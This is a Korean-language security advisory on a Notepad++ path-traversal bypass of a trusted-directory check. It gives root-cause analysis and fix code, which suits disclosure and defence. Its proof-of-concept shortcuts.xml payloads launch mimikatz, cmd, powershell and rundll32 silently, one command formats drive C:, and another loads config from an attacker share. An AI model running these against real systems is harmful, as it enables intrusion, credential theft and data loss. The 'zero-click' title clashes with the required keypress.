Notepad++ 경로 탐색 제로클릭 원격 코드 실행 (CVE-2026-52884)
출처: Hacker News
취약점 요약
제품: Notepad++ v8.9.6.1 (최신 패치 버전)
유형: CWE-42 (경로 탐색) / CWE-59 (잘못된 링크 해석)
영향: 사용자 확인 없이 임의 코드 실행
CVSS 3.1: 7.8 (높음) — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
우회: CVE-2026-48800 (shortcuts.xml 명령 검증)
설명
CVE‑2026‑48800 패치는 ShellExecute()를 호출하기 전에 Command::run()(RunDlg.cpp)에서 isInTrustedDirectory() 검증을 추가합니다. 이 함수는 해결된 실행 파일 경로가 신뢰할 수 있는 디렉터리 아래에 있는지 확인합니다.
-
C:\Program Files\ -
C:\Program Files (x86)\ -
C:\Windows\System32\ -
C:\Windows\
취약점: isInTrustedDirectory()는 경로를 정규화하지 않은 채 검사를 수행합니다. 신뢰 디렉터리 문자열로 시작하는지를 확인하는 접두사 기반 검사(PathIsPrefix() 등)를 사용하기 때문에, 신뢰 디렉터리 접두사 뒤에 ..\..\ 와 같은 경로 탐색을 넣어도 검사를 통과하고 결국 신뢰되지 않은 위치로 해석됩니다.
확인된 우회 경로
우회 1: 경로 탐색 (CRITICAL)
| shortcuts.xml 명령 | 해결된 경로 | 경고? | 결과 |
|---|---|---|---|
C:\Users\[USERNAME]\Downloads\mimikatz.exe | 신뢰되지 않음 | ✅ 예 — 경고 표시 | 차단 |
C:\Windows\System32\..\..\Users\[USERNAME]\Downloads\mimikatz.exe | 동일한 mimikatz.exe | ❌ 경고 없음 | 조용히 실행 |
C:\Program Files\..\..\Users\[USERNAME]\Downloads\payload.exe | 동일한 payload | ❌ 경고 없음 | 조용히 실행 |
증명: v8.9.6.1에서 C:\Windows\System32\..\..\Users\[USERNAME]\Downloads\mimikatz.exe 를 shortcuts.xml에 넣으면 직접 경로 C:\Users\[USERNAME]\Downloads\mimikatz.exe 와 달리 보안 대화 상자 없이 mimikatz가 실행됩니다.
우회 2: 신뢰된 실행 파일을 런처로 사용 (HIGH)
| shortcuts.xml 명령 | 해결된 실행 파일 | 경고? | 결과 |
|---|---|---|---|
cmd.exe /c calc.exe | C:\Windows\System32\cmd.exe (신뢰) | ❌ 없음 | 조용히 실행 |
powershell.exe -ExecutionPolicy Bypass -Command calc.exe | C:\Windows\System32\...\powershell.exe (신뢰) | ❌ 없음 | 조용히 실행 |
rundll32.exe javascript:...\mshtml,RunHTMLApplication | C:\Windows\System32\rundll32.exe (신뢰) | ❌ 없음 | 조용히 실행 |
증명: v8.9.6.1에서 cmd.exe /c calc.exe 를 shortcuts.xml에 넣으면 보안 대화 상자 없이 calc.exe가 실행됩니다.
근본 원인 분석
RunDlg.cpp에 있는 isInTrustedDirectory() 함수는 다음과 같은 검사를 수행합니다.
bool isInTrustedDirectory(const wchar_t* path) {
wchar_t trustedDirs[][MAX_PATH] = {
L"C:\\Program Files\\",
L"C:\\Program Files (x86)\\",
L"C:\\Windows\\System32\\",
L"C:\\Windows\\",
};
for (auto& trusted : trustedDirs) {
if (PathIsPrefix(trusted, path)) // BUG: 정규화 없이 접두사만 검사
return true;
}
return false;
}
PathIsPrefix()(또는 StartsWith()) 검사는 C:\Windows\System32\..\..\Users\... 가 C:\Windows\System32\ 로 시작하기 때문에 통과합니다. ..\..\ 탐색 요소는 접두사 검사 전에 해결되지 않습니다.
올바른 수정 방법: 경로를 PathCanonicalize() 혹은 GetFullPathNameW() 로 정규화한 뒤 신뢰 디렉터리를 검사합니다.
bool isInTrustedDirectory(const wchar_t* path) {
wchar_t canonicalPath[MAX_PATH] = {};
// .., . 및 중복 구분자를 해결
if (!PathCanonicalize(canonicalPath, path))
return false;
// 이제 정규화된 경로를 신뢰 디렉터리와 비교
for (auto& trusted : trustedDirs) {
if (PathIsPrefix(trusted, canonicalPath))
return true;
}
return false;
}
공격 시나리오
시나리오 1: 직접 설정 파일 수정
같은 사용자 계정으로 실행되는 어떤 프로세스라도 %APPDATA%\Notepad++\shortcuts.xml을 수정할 수 있습니다.
C:\Windows\System32\..\..\Users\[USERNAME]\Downloads\mimikatz.exe
사용자가 Alt+F1을 누르거나 Run → Open Document를 클릭하면 경고 대화 상자 없이 mimikatz가 실행됩니다.
시나리오 2: -settingsDir= 를 이용한 악성 바로 가기(.lnk)
.lnk 파일이 NPP에게 공격자가 제어하는 디렉터리에서 shortcuts.xml을 로드하도록 유도할 수 있습니다.
notepad++.exe -settingsDir=\\attacker\share\config
원격 shortcuts.xml에 경로 탐색 우회가 포함되어 있으면 NPP가 이를 로드하고 악성 명령이 경고 없이 실행됩니다.
시나리오 3: 클라우드 동기화 중독
사용자가 %APPDATA%\Notepad++를 OneDrive, Dropbox 등으로 동기화하고 있다면, 클라우드 스토리지를 탈취한 공격자가 shortcuts.xml에 경로 탐색 우회를 삽입할 수 있습니다.
시나리오 4: cmd.exe 런처 체인
경로 탐색이 없어도 cmd.exe와 powershell.exe는 신뢰 디렉터리에 존재하므로 임의 명령을 실행할 수 있습니다.
cmd.exe /c format C: /fs:NTFS /q /y
개념 증명
PoC 1: 경로 탐색 우회가 포함된 shortcuts.xml
<shortcuts>
<shortcut>
<command>C:\Windows\System32\..\..\Users\[USERNAME]\Downloads\mimikatz.exe</command>
</shortcut>
</shortcuts>
PoC 2: cmd.exe 런처가 포함된 shortcuts.xml
<shortcuts>
<shortcut>
<command>cmd.exe /c calc.exe</command>
</shortcut>
</shortcuts>
PoC 3: -settingsDir= 체인 공격
notepad++.exe -settingsDir="\\attacker\share\config"
\\attacker\share\config\shortcuts.xml 에 위 우회 벡터 중 하나가 포함되어 있으면 실행됩니다.
패치
크레딧
Michele Piccinni
Trung Nguyen
Noman Nasir Minhas (@NomanNasirMinhas)
Vibhum Dubey